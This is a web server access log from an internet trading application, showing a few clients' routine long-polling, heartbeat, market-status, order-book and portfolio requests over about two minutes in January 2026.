[09/Jan/2026:13:13:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935917192 HTTP/1.1" -
[09/Jan/2026:13:13:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:13:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935906336 HTTP/1.1" -
[09/Jan/2026:13:13:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935923187 HTTP/1.1" -
[09/Jan/2026:13:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935911405 HTTP/1.1" -
[09/Jan/2026:13:14:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:14:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935929193 HTTP/1.1" -
[09/Jan/2026:13:14:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:14:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935916544 HTTP/1.1" -
[09/Jan/2026:13:14:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935935194 HTTP/1.1" -
[09/Jan/2026:13:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935921599 HTTP/1.1" -
[09/Jan/2026:13:14:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:14:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1856
[09/Jan/2026:13:14:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:14:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935941196 HTTP/1.1" -
[09/Jan/2026:13:14:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:14:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935926748 HTTP/1.1" -
[09/Jan/2026:13:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1856
[09/Jan/2026:13:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:14:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:14:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1166
[09/Jan/2026:13:14:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935947185 HTTP/1.1" -
[09/Jan/2026:13:14:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935931817 HTTP/1.1" -
[09/Jan/2026:13:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderDetail HTTP/1.1" 1350
[09/Jan/2026:13:14:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:14:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935936881 HTTP/1.1" -
[09/Jan/2026:13:14:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935953189 HTTP/1.1" -
[09/Jan/2026:13:14:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:14:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1928
[09/Jan/2026:13:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935941923 HTTP/1.1" -
[09/Jan/2026:13:14:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:14:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935959185 HTTP/1.1" -
[09/Jan/2026:13:14:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:14:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935946986 HTTP/1.1" -
[09/Jan/2026:13:14:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:14:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:14:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935965198 HTTP/1.1" -
[09/Jan/2026:13:14:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935952027 HTTP/1.1" -
[09/Jan/2026:13:14:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:14:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935971196 HTTP/1.1" -
[09/Jan/2026:13:14:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935957181 HTTP/1.1" -
[09/Jan/2026:13:14:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935977185 HTTP/1.1" -
[09/Jan/2026:13:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935962323 HTTP/1.1" -
[09/Jan/2026:13:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:14:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935983191 HTTP/1.1" -
[09/Jan/2026:13:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935967497 HTTP/1.1" -
[09/Jan/2026:13:15:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935972539 HTTP/1.1" -
[09/Jan/2026:13:15:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935989196 HTTP/1.1" -
[09/Jan/2026:13:15:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:15:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935977672 HTTP/1.1" -
[09/Jan/2026:13:15:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935995193 HTTP/1.1" -
[09/Jan/2026:13:15:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935982732 HTTP/1.1" -
[09/Jan/2026:13:15:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:15:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936001190 HTTP/1.1" -
[09/Jan/2026:13:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935987868 HTTP/1.1" -
[09/Jan/2026:13:15:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936007184 HTTP/1.1" -
[09/Jan/2026:13:15:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935992993 HTTP/1.1" -
[09/Jan/2026:13:15:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:15:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936013190 HTTP/1.1" -
[09/Jan/2026:13:15:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935998121 HTTP/1.1" -
[09/Jan/2026:13:15:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:15:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936003161 HTTP/1.1" -
[09/Jan/2026:13:15:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936019185 HTTP/1.1" -
[09/Jan/2026:13:15:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:15:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:15:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:15:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936008302 HTTP/1.1" -
[09/Jan/2026:13:15:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936025198 HTTP/1.1" -
[09/Jan/2026:13:15:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936013362 HTTP/1.1" -
[09/Jan/2026:13:15:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:15:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936031195 HTTP/1.1" -
[09/Jan/2026:13:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936018506 HTTP/1.1" -
[09/Jan/2026:13:15:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936037184 HTTP/1.1" -
[09/Jan/2026:13:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936023627 HTTP/1.1" -
[09/Jan/2026:13:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:15:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:15:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1516
[09/Jan/2026:13:15:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
